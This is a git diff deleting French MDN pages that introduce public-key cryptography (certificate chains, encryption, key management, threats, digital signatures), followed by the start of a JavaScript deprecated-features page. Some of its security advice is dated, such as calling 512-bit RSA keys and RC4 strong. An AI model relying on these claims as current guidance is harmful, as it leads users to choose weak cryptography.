- hW3WWehBUqVK5SY4/zJ4oTjx7dwNMdGwbWfpRqjd1A==
- -----END CERTIFICATE-----
-
-
- -

Utiliser les certificats pour établir la confiance

- -

Les autorités de certification (AC) sont des entités qui valident l'identité et l'émission des certificats. Elles peuvent être des organismes indépendants ou des entreprises qui utilisent leur propre logiciel d'émission de certificats (tel que Red Hat Certificate System).

- -

Tout logiciel client ou serveur qui supporte les certificats maintient une liste des certificats d'AC de confiance. Ces certificats d'AC déterminent quels autres certificats le logiciel peut valider - en d'autres mots, dans quels émetteurs de certificats le logiciel peut avoir confiance. Dans le cas le plus simple, le logiciel ne peut valider que les certificats émis par une des AC pour lesquelles il possède le certificat. Il est également possible pour un certificat d'une AC de confiance de faire parti d'une chaîne de certificats d'AC, chacun émis par l'AC parente dans la hiérarchie de certificat.

- -

Les sections suivantes expliquent comment les hiérarchies et les chaînes de certificats déterminent les logiciels de confiance.

- - - -

Hiérarchies d'AC

- -

Dans les grandes organisations, il peut être judicieux de déléguer la responsabilité de l'émission des certificats à plusieurs autorités de certification. Par exemple, le nombre de certificats requis peut être trop important à maintenir par une seule AC ; les différents services de l'organisation peuvent avoir différentes politiques d'attribution des certificats ; ou il peut être important pour l'AC d'être physiquement localisée dans la même zone géographique que les personnes auxquelles elle délivre les certificats.

- -

Il est possible de déléguer la responsabilité de l'émission de certificats à des AC subordonnées. Le standard X.509 inclus un modèle de paramétrage d'une hiérarchie d'AC telle celle montrée à la Figure 6.

- -

Figure 6. Exemple de hiérarchie d'AC

- -

Dans ce modèle, l'AC racine est au sommet de la hiérarchie. Le certificat de l'AC racine est un « certificat auto-signé » : c'est-à-dire que le certificat est signé numériquement par la même entité — L'AC racine — que celle que le certificat identifie. Les AC directement subordonnées à l'AC racine on des certificats d'AC signés par l'AC racine. Les AC se trouvant sous les AC subordonnées dans la hiérarchie ont leurs certificats signés par les plus hautes AC subordonnées.

- -

Les organisations ont une grande flexibilité quant à l'établissement de leurs hiérarchies d'AC. La figure 6 ne montre qu'un exemple ; beaucoup d'autres hiérarchies sont possibles.

- -

Chaînes de certificat

- -

Les hiérarchie d'AC se reflètent dans les chaînes de certificats. Une chaîne de certificats est une série de certificats émis par des AC successives. La figure 7 montre une chaîne de certificats leading from a certificate that identifies some entity through two subordinate CA certificates to the CA certificate for the root CA (based on the CA hierarchy shown in Figure 6).

- -

Figure 7. Exemple de chaîne de certificat

- -

Une chaîne de certificats trace le chemin des certificats d'une branche de la hiérarchie jusqu'à la racine. Dans une chaîne de certificats, on a donc :

- -
    -
  • chaque certificat est suivi par le certificat de son émetteur.
    • -
  • chaque certificat contient le nom (DN) de l'émetteur du certificat, qui est identique à celui du nom du sujet du certificat suivant dans la chaîne.
    • -
- -

Dans la figure 7, Le certificat Engineering CA contient le DN de l'AC (qui est USA CA), qui a émis le certificat. Le DN de USA CA est également le nom du sujet du prochain certificat dans la chaîne.

- -
    -
  • Chaque certificat est signé avec la clef privée de son émetteur. La signature peut être vérifiée avec la clef publique du certificat de l'émetteur, qui est le prochain certificat dans la chaîne.
    • -
- -

Dans la figure 7, la clef publique dans le certificat de USA CA peut être utilisée pour vérifier que la signature numérique de USA CA dans le certificat de Engineering CA.

- -

Vérification d'une chaîne de certificat

- -

La vérification de la chaîne de certificats est le processus permettant de s'assurer que la chaîne de certificats donnée est bien formée, proprement signée et sécurisée. Les logiciels Red Hat utilisent la procédure suivante pour former et vérifier une chaîne de certificats, en commençant par le certificat présenté pour l'authentification :

- -
    -
  1. La période de validité du certificat est vérifiée par rapport à la date actuelle fournie par l'horloge système du vérificateur.
    2. -
  2. Le certificat de l'émetteur est localisé. La source peut être une base de certificats locale du vérificateur (du client ou du serveur) ou une chaîne de certificats fournit par le sujet (par exemple, par une connexion SSL).
    3. -
  3. La signature du certificat est vérifiée à l'aide de la clef publique du certificat de l'émetteur.
    4. -
  4. Si le certificat de l'émetteur est présent dans les certificats de confiance du vérificateur, la vérification s'arrête avec succès à cette étape. Autrement, le certificat de l'émetteur est vérifié pour être certain qu'il contient les indications appropriées concernant les AC subordonnées dans l'extension du type de certificat de Red Hat, et la chaîne de vérification recommence depuis l'étape 1, mais avec le nouveau certificat. La figure 8 présente un exemple de ce processus.
    5. -
- -

Figure 8. Vérification d'un chaîne de certificats complète, jusqu'à l'AC racine

- -

La figure 8 décrit ce qui se passe lorsque seule l'AC racine est incluse dans la base locale de certificats du vérificateur. Si un certificat d'une des AC intermédiaires présentes dans cette figure, telle que Engineering CA, est trouvé dans la base locale de certificats du vérificateur, la vérification s'arrête à ce certificat, comme décrit à la figure 9.

- -

Figure 9. Vérification d'une chaîne de certificats, jusqu'à une AC intermédiaire

- -

Des dates de validité expirées, une signature invalide ou l'absence d'un certificat pour l'AC émettrice à n'importe quelle étape de la chaîne de certificats provoquera un échec de l'authentification. Par exemple, la figure 10 montre l'échec d'une vérification si le certificat de l'AC racine ou celui d'une AC intermédiaire ne sont pas présent dans la base locale de certificats du vérificateur.

- -

Figure 10. Une chaîne de certificat qui ne peut pas être vérifiée

- -

Pour des informations générales sur le fonctionnement des signatures numériques, voir « Signatures numériques ». Pour une description plus détaillée sur le processus de vérification des signatures dans le contexte d'une authentification SSL client-serveur, voir « Introduction à SSL ».

- -

{{PreviousNext("Introduction à la cryptographie à clef publique:Signatures numériques", "Introduction à la cryptographie à clef publique:Gestion des certificats", "Gestion des certificats")}}

diff --git "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/chiffrement_et_d\303\251chiffrement/index.html" "b/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/chiffrement_et_d\303\251chiffrement/index.html" deleted file mode 100644 index 6abf3ba1dc..0000000000 --- "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/chiffrement_et_d\303\251chiffrement/index.html" +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Chiffrement et déchiffrement -slug: Introduction_à_la_cryptographie_à_clef_publique/Chiffrement_et_déchiffrement -tags: - - Sécurité ---- -

Le chiffrement est un processus de transformation des informations de façon à les rendre inintelligibles à toute personne autre que le destinataire. Le déchiffrement est le processus inverse du chiffrement, il sert à transformer les informations de façon à les rendre à nouveau intelligibles. Un algorithme de cryptographie, également appelé chiffre, est une fonction mathématique utilisée pour le chiffrement ou le déchiffrement. Dans la plupart des cas, deux fonctions complémentaires sont employées, l'une pour le chiffrement et la second pour le déchiffrement.

- -

Dans la cryptographie moderne, la possibilité de conserver des informations secrètes ne se fait pas à partir de l'algorithme de cryptographie, largement connu, mais avec un nombre appelé clef qui doit être utilisé avec l'algorithme de cryptographie afin de produire un résultat chiffré ou pour déchiffrer des informations précédemment chiffrées. Le déchiffrement avec la bonne clef est simple. Sans cette clef, il devient très difficile et dans certains cas impossible pour tous les besoins pratiques.

- -

Les sections suivantes introduisent à l'utilisation des clefs pour le chiffrement et le déchiffrement.

- - - -

Chiffrement par clef symétrique

- -

Avec le chiffrement par clef symétrique, le chiffrement peut être calculé avec la clef de déchiffrement et vice versa. Avec la plupart des algorithme symétrique, la même clef est utilisée pour le chiffrement et le déchiffrement, comme indiqué sur la figure 1.

- -

Figure 1. Chiffrement par clef symétrique

- -

L'implémentation d'un chiffrement par clef symétrique peut être hautement efficace, ainsi les utilisateurs ne subissent pas de longs délais d'attente lors du chiffrement ou du déchiffrement. Le chiffrement par clef symétrique fournit un haut degré d'authentification, car les informations chiffrées avec une clef symétrique ne peuvent pas être déchiffrées avec une clef symétrique différente. Ainsi, tant que la clef symétrique est gardée secrète par les deux correspondants qui l'utilise pour le chiffrement de leurs communications, chacun d'eux est assuré qu'il communique bien avec l'autre aussi longtemps que les messages déchiffrés ont un sens.

- -

Le chiffrement par clef symétrique est efficace tant que les deux parties en présence gardent la clef secrète. Si quelqu'un d'autre découvre la clef, cela met en cause la confidentialité et l'authenticité des informations échangées. Une personne possédant une clef symétrique non autorisée peut non seulement déchiffrer les messages envoyé avec cette clef, mais elle peut également chiffrer de nouveaux messages et les envoyer comme s'ils provenaient d'un des deux correspondants qui utilisait originellement la clef.

- -

Le chiffrement par clef symétrique joue un rôle important dans le protocole SSL, qui est largement utilisé pour l'authentification, la détection des altérations de données, et le chiffrement sur les réseaux TCP/IP. SSL utilise également les techniques de chiffrement par clef publique qui est décrit dans la section suivante.

- -

Chiffrement par clef publique

- -

Les implémentations du chiffrement à clef publique les plus communément utilisées sont fondées sur des algorithmes brevetés parRSA Data Security. Par conséquent, cette section décrit l'approche RSA du chiffrement à clef publique.

- -

Le chiffrement à clef publique (également appelé chiffrement asymétrique) utilise une paire de clefs, l'une publique et l'autre privée, associées à une entité qui a besoin d'authentifier son identité de façon électronique ou de chiffrer des données. La clef publique est publiée et la clef privée correspondante est conservée secrète par l'entité. Pour plus d'informations sur les moyens de publication des clefs publiques, voir « Certificats et Authentification ». Les données chiffrées avec la clef publique ne peuvent être déchiffrées qu'avec votre clef privée. Figure 2 montre une vue simplifiée du fonctionnement du chiffrement par clef publique.

- -

Figure 2. Chiffrement par clef publique

- -

Dans le schéma de la Figure 2, vous distribuez librement une clef publique, et vous seul serez capable de lire les données chiffrées en utilisant cette clef. En général, pour envoyer des données chiffrées à quelqu'un, vous chiffrez les données avec la clef publique de cette personne, et le destinataire des données chiffrées les déchiffrera avec la clef privée correspondante.

- -

Comparée au chiffrement par clef symétrique, le chiffrement par clef publique requiert plus de calcul et il n'est donc pas toujours adapté pour de grandes quantités de données. Cependant, il est possible d'utiliser le chiffrement par clef publique pour envoyer une clef symétrique, qui peut alors être utilisée pour chiffrer des données supplémentaires. C'est cette approche qu'utilise le protocole SSL.

- -

Comme cela peut arriver, l'opération inverse de celle décrite dans la figure 2 est également possible : les données chiffrées avec votre clef privée ne peuvent être déchiffrées qu'avec votre clef public. Cependant ce n'est pas le meilleur moyen de chiffrer des données sensibles, car cela signifie que n'importe qui possédant votre clef publique, qui par définition est publiée, pourra déchiffrer les données. Néanmoins, le chiffrement par clef publique est utile, parce qu'il signifie que vous pouvez utiliser votre clef privée pour signer des données avec votre signature numérique - une condition importante pour le commerce électronique ou tout autre application commerciale de la cryptographie. Les logiciels clients tels que Netscape Communicator peuvent alors utiliser votre clef publique pour confirmer que le message a été signé avec votre clef privée et qu'il n'a pas été altéré depuis sa signature. « Signatures numériques » et les sections suivantes décrivent le fonctionnement du processus de confirmation.

- -

Longueur de clef et force du chiffrement

- -

En général, la force d'un chiffrement est rapporté à la difficulté à casser la clef, qui dépend à la foi du chiffrement utilisé et de la longueur de la clef. Par exemple, la difficulté de découvrir la clef du chiffrement RSA le plus communément utilisé pour le chiffrement par clef publique dépend de la difficulté de factoriser de grands nombres, un problème mathématique bien connu.

- -

La force d'un chiffrement est souvent décrite en terme de taille des clefs utilisées pour l'encryptage : en général, les plus longues clefs fournissent les plus forts chiffrements. La longueur d'une clef se mesure en bits. Par exemple, des clefs de 128 bits utilisées avec un chiffrement par clef symétrique RC4 supportées par SSL fournissent significativement une meilleure protection cryptographique que des clefs de 40 bits associées au même chiffrement. En gros, un chiffrement RC4 128 bits est 3 x 1026 fois plus fort qu'un chiffrement RC4 40 bits. Pour plus d'informations à propos de RC4 et des autres chiffrements utilisés avec SSL, voir « Introduction à SSL ».

- -

Les différent chiffrements peuvent requérir différentes longueurs de clef pour parvenir au même niveau de cryptage. Le chiffrement RSA utilisé pour le chiffrement par clef publique, par exemple, ne peut utiliser qu'un sous-ensemble de toutes les valeurs possibles pour une clef d'une longueur donnée, à cause de la nature du problème mathématique sur lequel il est basé. Les autres chiffrements, tels que ceux utilisés par le chiffrement à clef symétrique, peuvent utiliser toutes les valeurs possibles pour une clef de longueur donnée, plutôt qu'un sous-ensemble de ces valeurs. Ainsi, une clef de 128 bits associée à un chiffrement par clef symétrique fournira un meilleur cryptage des données qu'une clef de 128 bits associée à un chiffrement RSA par clef publique. Cette différence explique pourquoi les chiffrement par clef publique RSA doivent utiliser des clefs de 512 bits (voire plus) pour être considérés forts du point du vue cryptographique, alors que les chiffrements par clef symétrique peuvent parvenir au même niveau de protection avec une clef de 64 bits. Même ce haut niveau de chiffrement peut être vulnérable aux attaques extérieures dans un futur proche.

- -

Parce que la possibilité d'intercepter clandestinement des informations chiffrées et de pouvoir les déchiffrer est historiquement une importante activité militaire, le gouvernement étasunien a restreint l'exportation de logiciels de cryptographie, incluant la plupart des logiciels permettant l'utilisation de clefs de chiffrement de plus de 40 bits

- -

{{PreviousNext("Introduction à la cryptographie à clef publique:Les problèmes de sécurité sur Internet", "Introduction à la cryptographie à clef publique:Signatures numériques")}}

diff --git "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/gestion_des_certificats/index.html" "b/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/gestion_des_certificats/index.html" deleted file mode 100644 index cd835c6f24..0000000000 --- "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/gestion_des_certificats/index.html" +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Gestion des certificats -slug: Introduction_à_la_cryptographie_à_clef_publique/Gestion_des_certificats -tags: - - Sécurité ---- -

L'ensemble des standards et des services facilitant l'utilisation de la cryptographie à clef publique et des certificats X.509 v3 dans un environnement réseau est appelé public key infrastructure (PKI ou infrastructure à clef publique). La gestion de PKI est un sujet complexe qui dépasse le cadre de se document. Les sections qui suivent présentent quelques-uns des problèmes liés à la gestion de certificats qu'on retrouve dans les produits Red Hat.

- -

Émission de certificats

- -

Le processus d'émission d'un certificat dépend de l'autorité de certification qui l'a émis et du but dans lequel il l'a été. Les processus d'émission de formulaires non numériques varient de façons identiques. Par exemple, si vous désirez obtenir une carte d'identité générique (pas un permis de conduire) du Department of Motor Vehicles de l'état de California, les conditions sont claires : vous devez présenter un justificatif d'identité, tel qu'une facture à votre nom, et une carte d'étudiant. Si vous désirez un permis de conduire en bonne et due forme, vous devez en plus passer un test de conduite la première fois que vous le réclamez et un test sur le code de la route pour son renouvellement. Si vous voulez obtenir un permis de conduire commercial pour un 38-tonnes, les conditions sont plus exigeantes. Si vous vivez dans un autre état ou un autre pays, les conditions d'obtention de ces différents permis de conduire seront différentes.

- -

De même, les différentes autorités de certification ont différentes procédures d'émission des différents types de certificats. Dans certains cas, la seule condition pourra être votre adresse électronique. Dans d'autres cas, un nom d'utilisateur et un mot de passe vous seront demandés. À l'autre bout de l'échelle, pour les certificats identifiants des personnes pouvant prendre des décisions importantes, le processus d'émission pourra requérir des documents notariés, une enquête de fond et un entretien personnel.

- -

Selon les politiques de l'organisation, le processus d'émission des certificats peut soit être complètement transparent pour l'utilisateur, soit exiger une participation significative de l'utilisateur et des procédures complexes. En général, l'émission de certificats doit être flexible, ainsi les organisations peuvent les adapter à leurs besoins.

- -

Red Hat Certificate System permet à une organisation de paramètrer sa propre autorité de certification et d'émission de certificats.

- -

L'émission de certificats est l'une des nombreuses tâches de gestion qui peuvent être déléguées à une autorité de certification indépendante.

- -

Certificats et annuaire LDAP

- -

LeLightweight Directory Access Protocol (LDAP) d'accès aux services d'annuaire propose une grande flexibilité pour la gestion des certificats d'une organisation. Les administrateurs systèmes peuvent stocker la plupart des informations requises par la gestion des certificats dans un annuaire compatible LDAP. Par exemple, une autorité de certification peut utiliser les informations contenues dans un annuaire pour préremplir un certificat avec les informations concernant un nouvel employé. L'autorité de certification peut niveler les informations de l'annuaire de nombreuses manières pour émettre les certificats un à un ou en groupe, en utilisant un éventail des différentes techniques d'identification en fonction de la politique de sécurité d'une organisation donnée. Les autres routines des tâches de gestion, telles que la gestion de clefs, le renouvellement ou la révocation de certificats, peuvent être partiellement ou pleinement automatisées à l'aide de l'annuaire.

- -

Les informations stockées dans l'annuaire peuvent également être utilisées en association avec les certificats pour contrôler l'accès aux différentes ressources disponibles sur un réseau en fonction des utilisateurs ou des groupes d'utilisateurs. L'émission de certificats et toutes les tâches de gestion des certificats font intégralement parties de la gestion des utilisateurs et des groupes d'utilisateurs.

- -

En général, les services d'annuaires performants sont une brique essentielle de toute stratégie de gestion des certificats. Red HatDirectory Server est pleinement intégré à Red HatCertificate System afin de fournir une solution de gestion des certificats complète.

- -

Gestion des clefs

- -

Avant d'émettre un certificat, la clef publique qu'il contient et la clef privée correspondante doivent être générées. Il est parfois plus utile d'émettre, pour une unique personne, un certificat et une paire de clefs pour les opérations de signature, et un second certificat et une paire de clefs pour les opérations de chiffrement. Séparer les certificats de signature et de chiffrement permet de conserver la clef de signature uniquement sur une machine local, assurant ainsi une non répudiation maximale, et de sauvegarder la clef privée de chiffrement dans un endroit centralisé où elle peut être récupérée au cas où l'utilisateur perdrait la clef originale ou quitterait l'entreprise.

- -

Les clefs peuvent être générées par un logiciel client ou générées de façon centralisée par l'autorité de certification puis distribuées aux utilisateurs via un annuaire LDAP. Il y a plusieurs options entrant dans le choix du type de génération des clefs, locale et centralisée. Par exemple, la génération locale des clefs assure une non répudiation maximale, mais elle peut induire une plus grande participation de l'utilisateur lors des étapes d'émission. La flexibilité des possibilités dans la gestion des clefs est essentielle pour la plupart des organisations.

- -

Le recouvrement de clef, ou la capacité de récupérer une sauvegarde des clefs de chiffrement suivant des conditions bien définies, peut être un point important de la gestion des certificats (selon l'utilisation des certificats par l'organisation). Les schémas de recouvrement de clefs mettent habituellement en œuvre un mécanisme de typem sur n : par exemple,m dirigeants d'une organisation surn doivent donner leur accord, chacun contribuant à l'aide d'un code (ou d'une clef) personnel et spécial, avant que la clef d'une personne en particulier puisse être récupérée. Ce type de mécanisme assure que plusieurs personnes autorisées doivent donner leur accord avant qu'une clef de chiffrement puisse être récupérée.

- -

Renouvellement et révocation de certificats

- -

Comme un permis de conduire dans certains pays, un certificat spécifie une période de temps pendant laquelle il est valide. Les tentatives d'utilisation d'un certificat avant ou après la période de validité échoueront. Par conséquent, les mécanismes de gestion du renouvellement des certificats sont essentiels dans toute stratégie de gestion des certificats. Par exemple, un administrateur voudra être notifié automatiquement lorsqu'un certificat s'apprête à expirer, afin de compléter le processus de renouvellement approprié pendant le temps restant, sans gêner le détenteur du certificat. Le processus de renouvellement peut impliquer la réutilisation de la même paire de clefs publiques ou d'une nouvelle paire.

- -

Un permis de conduire peut être suspendu, même s'il n'est pas périmé - par exemple, suite à une décision de justice pour infraction grave au code de la route. De même, il est parfois nécessaire de révoquer un certificat avant sa date d'expiration - par exemple, si un employé quitte l'entreprise ou s'il est muté dans un autre service.

- -

La révocation des certificats peut être gérée de différentes manières. Pour certaines organisations, il peut être suffisant de paramétrer les serveurs afin que le processus d'authentification inclut la vérification de la présence du certificat présenté dans l'annuaire. Lorsqu'un administrateur révoque un certificat, le certificat peut être automatiquement supprimé de l'annuaire et ainsi toutes les tentatives d'authentification échoueront, même si le certificat reste valide dans tous les autres domaines. Une autre approche implique la publication d'une Certificates Revocation List (CRL ou liste de certificats révoquées) dans l'annuaire à intervalles réguliers et la vérification de cette liste lors du processus d'authentification. Pour d'autres organisation, il sera peut-être préférable de vérifier directement l'autorité de certification émettrice chaque fois qu'un certificat est présenté pour une authentification. Ce processus est parfois appelé vérification de l'état d'un certificat en temps réel.

- -

Autorités d'enregistrement

- -

Les interactions entre les entités identifiées par des certificats (parfois appelées entités finales) et les autorités de certifications (AC, pour Certificates Authority) sont un élément essentiel de la gestion des certificats. Ces interactions incluent les opérations telles que l'enregistrement de la certification, le recouvrement, le renouvellement ou la révocation de certificats, et la sauvegarde et le recouvrement de clefs. En général, une AC (Autorité de certification) doit être en mesure d'authentifier les identités des entités finales avant de répondre à leurs requêtes. De plus, certaines requêtes doivent être approuvées par un administrateur autorisé ou un gestionnaire afin d'aboutir.

- -

Comme on l'a vu précédemment, les moyens mis en œuvre par les différentes AC pour vérifier une identité avant d'émettre un certificat sont très nombreux selon l'organisation et le domaine d'utilisation du certificat. Pour fournir une flexibilité opérationnelle maximale, les interactions avec les entités finales peuvent être séparées des autres fonctions d'une AC et gérées par un service séparé appelé une Registration Authority (RA, ou Autorité d'enregistrement).

- -

Une RA (autorité d'enregistrement) agît comme une application amont de l'AC, en recevant les requêtes des entités finales, en les authentifiant puis en les renvoyant vers l'AC. Après réception de la réponse de l'AC, la RA notifie les résultats à l'entité finale. Les RA peuvent être très utiles pour adapter une infrastructure à clef publique à différents départements, zones géographiques, ou d'autres unités opérationnelles ayant des politiques et des exigences d'authentification très différentes.

- -

{{Previous("Introduction à la cryptographie à clef publique:Certificats et authentification")}}

diff --git "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/les_probl\303\250mes_de_s\303\251curit\303\251_sur_internet/index.html" "b/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/les_probl\303\250mes_de_s\303\251curit\303\251_sur_internet/index.html" deleted file mode 100644 index 9e79f1d777..0000000000 --- "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/les_probl\303\250mes_de_s\303\251curit\303\251_sur_internet/index.html" +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Les problèmes de sécurité sur Internet -slug: >- - Introduction_à_la_cryptographie_à_clef_publique/Les_problèmes_de_sécurité_sur_Internet -tags: - - Sécurité ---- -

Toutes les communications Internet utilisent leTransmission Control Protocol/Internet Protocol (TCP/IP). TCP/IP permet d'envoyer des informations d'un ordinateur à un autre au travers d'une grande variété d'ordinateurs intermédiaires et de réseaux distincts avant qu'elles atteignent leur destination.

- -

La grande flexibilité de TCP/IP à conduit à son adoption mondiale en tant que protocole de base pour les communications Internet et Intranet. Dans le même temps, le fait que TCP/IP permettent aux informations de transiter par de nombreux ordinateurs intermédiaires rend possible à une tierce-partie d'interférer avec les communications des façons suivantes :

- -
    -
  • Écoute clandestine. Les informations restent intactes, mais leur confidentialité est compromise. Par exemple, quelqu'un peut intercepter votre numéro de carte de crédit, enregistrer des conversations sensibles ou intercepter des informations classifiées.
    • -
  • Altération de données. Les informations en transit sont modifiées ou remplacées puis envoyées au destinataire. Par exemple, quelqu'un peut altérer une commande de biens de consommation ou changer les données personnelles d'un internaute.
    • -
  • Usurpation d'identité. Les informations sont transmises à une personne se faisant passer pour le destinataire. L'usurpation d'identité peut être de deux natures différentes : -
      -
    • Mystification (ou spoofing en anglais). Une personne peut prétendre être quelqu'un d'autre. Par exemple, une personne peut prétendre avoir l'adresse électronique jdoe@exemple.net, ou un ordinateur peut s'identifier comme étant le domaine www.exemple.net alors qu'il ne l'est pas. Ce type d'usurpation est connu sous le nom de spoofing.
      • -
    • Fausse déclaration. Une personne ou une organisation peut se présenter faussement. Par exemple, le site www.exemple.net peut prétendre être un site de vente de meubles en lignes alors qu'il ne prend que les paiement par cartes de crédits mais qu'il n'envoie aucune marchandise.
      • -
    -
    • -
- -

Normalement, les utilisateurs des nombreux ordinateurs coopérant ensemble à l'existence d'Internet, ou de toute autre réseau, ne surveillent pas et n'interfèrent pas avec le trafic réseau circulant continuellement par leurs machines. Cependant, de nombreuses données personnelles sensibles et les transactions commerciales sur Internet requièrent certaines précautions afin de minimiser les risques dus aux menaces listées ci-dessus. Heureusement, un ensemble de techniques et de standards bien rodés, connu sous le nom de cryptographie à clef publique, rend plus facile la mise en place de telles précautions.

- -

La cryptographie à clef publique facilite les tâches suivantes :

- -
    -
  • Le chiffrement et le déchiffrement permettent à deux entités communicantes dedéguiser les informations qu'elles s'échangent. L'expéditeur chiffre, ou brouille, les informations avant de les envoyer. Le destinataire déchiffre, ou décode, ces informations après leur réception. Lors du transit, les informations cryptées sont inintelligibles aux tierces personnes.
    • -
  • La détection de l'altération permet au destinataire des informations de vérifier qu'elles n'ont pas été modifiées lors du transit. Toute tentative de modifier les données ou de leur substituer un faux message sera détecté.
    • -
  • L'authentification permet au destinataire des informations de déterminer leur origine, pour confirmer l'identité de l'expéditeur.
    • -
  • La non-répudiation empêche l'expéditeur des informations de prétendre par la suite de ne pas les avoir envoyées.
    • -
- -

Les sections qui suivent introduisent les concepts de cryptographie à clef publique qui sont à la base de ces possibilités.

- -

{{PreviousNext("Introduction à la cryptographie à clef publique", "Introduction à la cryptographie à clef publique:Chiffrement et déchiffrement")}}

diff --git "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/signatures_num\303\251riques/index.html" "b/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/signatures_num\303\251riques/index.html" deleted file mode 100644 index 360b6340a9..0000000000 --- "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/signatures_num\303\251riques/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Signatures numériques -slug: Introduction_à_la_cryptographie_à_clef_publique/Signatures_numériques -tags: - - Sécurité ---- -

Le chiffrement et le déchiffrement permettent de limiter le problème des écoutes clandestines, un des trois problèmes de sécurité sur Internet mentionné dans une précédente section de ce document. Mais ils ne permettent pas, à eux seuls, de contrer les deux autres problèmes mentionnés dans « Les problèmes de sécurité sur Internet » : l'altération des données et l'usurpation d'identité.

- -

Cette section décrit comment la cryptographie à clef publique peut combattre l'altération des données. Les sections suivantes décriront les solutions permettant de résoudre les problèmes d'usurpation.

- -

La détection de l'altération des données et les techniques d'authentification qui s'y rapportent sont basées sur une fonction mathématique appelée empreinte numérique à sens unique (également appelée a message digest). Une empreinte numérique à sens unique est un nombre de longueur fixe ayant les caractéristiques suivantes :

- -
    -
  • La valeur de l'empreinte numérique est unique pour les donnéeshachées. Tout changement dans les données, même la modification ou l'altération d'un seul et unique caractère, produit une valeur différentes.
    • -
  • Le contenu des données hachées ne peut pas, pour les applications pratiques, être déduit depuis l'empreinte numérique - c'est pour cela que cette fonction est à « sens unique ».
    • -
- -

Comme évoqué dans « Chiffrement par clef publique », il est possible d'utiliser votre clef privée pour le chiffrement et votre clef publique pour le déchiffrement. Bien que ce ne soit pas souhaitable lorsque vous chiffrez des informations sensibles, c'est une partie cruciale de la signature numérique de données. Plutôt que de chiffrer les données elles-mêmes, le logiciel de signature crée une empreinte numérique à « sens unique », puis utilise votre clef privée pour chiffrer cette empreinte. L'empreinte chiffrée, tout comme les autres informations, tel que l'algorithme de hachage, est connu sous le nom de signature numérique.

- -

Figure 3 montre une vue simplifiée de l'utilisation d'un signature numérique pour valider l'intégrité de données signées.

- -

Figure 3. Utilisation d'une signature numérique pour valider l'intégrité de données

- -

Figure 3 montre que deux éléments sont transférés au destinataire des données signées : les données originales et la signature numérique, qui est simplement une empreinte numérique (des données originales) qui a été chiffrée avec la clef privée du signataire. Pour valider l'intégrité des données, le logiciel récepteur doit d'abord utiliser la clef publique du signataire pour décrypter l'empreinte numérique. Il utilise alors le même algorithme de hachage qui a généré l'empreinte numérique pour générer une nouvelle empreinte à « sens unique » des mêmes données. Bien que se ne soit pas indiqué sur la figure 3, les informations concernant l'algorithme de hachage sont également envoyées avec la signature numérique. Finalement, le logiciel de réception compare la nouvelle empreinte avec l'originale. Si les deux correspondent, les données n'ont pas changées depuis leur signature. Dans le cas contraire, elles ont été altérées, ou la signature a été créée avec une clef privée ne correspondant pas à la clef publique présentée par la signataire.

- -

Si les deux empreintes correspondent, le destinataire peut être certain que la clef publique utilisée pour déchiffrer la signature numérique correspond à la clef privée utilisée pour la création cette signature. Cependant, la confirmation de l'identité du signataire requiert également un moyen de confirmer que la clef publique appartient bien à une personne en particulier ou à une autre entité. Pour plus d'informations sur la façon dont cela fonctionne, voir la section suivante, « Certificats et authentification ».

- -

L'importance d'une signature numérique est comparable à celle d'une signature manuelle. Une fois les données signées, il vous est difficile après coup de prétendre le contraire - en supposant que le clef privée n'a pas été compromise ou qu'elle n'est pas sous le contrôle de son propriétaire. Cette qualité de la signature numérique fournit un haut degré de non-répudiation - ainsi, il est difficile au signataire de nier avoir signé les données. Dans certains cas, une signature numérique peut être l'équivalent légal d'une signature manuelle.

- -

{{PreviousNext("Introduction à la cryptographie à clef publique:Chiffrement et déchiffrement", "Introduction à la cryptographie à clef publique:Certificats et authentification")}}

diff --git "a/files/fr/javascript/reference/annexes/fonctionnalit\303\251s_d\303\251pr\303\251ci\303\251es/index.html" "b/files/fr/javascript/reference/annexes/fonctionnalit\303\251s_d\303\251pr\303\251ci\303\251es/index.html" deleted file mode 100644 index 8d47b5dc35..0000000000 --- "a/files/fr/javascript/reference/annexes/fonctionnalit\303\251s_d\303\251pr\303\251ci\303\251es/index.html" +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: Fonctionnalités dépréciées -slug: JavaScript/Reference/Annexes/Fonctionnalités_dépréciées -tags: - - Deprecated - - JavaScript - - Obsolete - - Reference -translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features ---- -
{{JsSidebar("More")}}
- -

Cette page liste les fonctionnalités de JavaScript qui sont dépréciées (deprecated) (c'est-à-dire que ces fonctionnalités sont toujours disponibles mais qu'il est prévu de les retirer) et les fonctionnalités obsolètes (celles qui ne sont plus utilisables).

- -

Fonctionnalités dépréciées

- -

Ces fonctionnalités dépréciées peuvent toujours être utilisées mais avec une grande attention car elles pourront être supprimées complètements à l'avenir. En règle général, il faut les retirer du code qui les utilise.

- -

Propriétés de RegExp

- -

Les propriétés suivantes sont dépréciées. Cela n'affecte pas le comportement de {{jsxref("Objets_globaux/String/replace", "replace", "Specifying_a_string_as_a_parameter")}} lorsqu'on utilise une chaîne de caractères en paramètre de remplacement :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéDescription
{{jsxref("RegExp.n", "$1-$9")}} -

Les sous-chaînes correspondantes s'il y en a.
- Attention : Utiliser ces propriétés peut causer certains problèmes car les extensions des navigateurs peuvent les modifier. À éviter !

-
{{jsxref("RegExp.input", "$_")}}Voir input.
{{jsxref("RegExp.multiline", "$*")}}Voir multiline.
{{jsxref("RegExp.lastMatch", "$&")}}Voir lastMatch.
{{jsxref("RegExp.lastMatch", "$&")}}Voir lastParen.
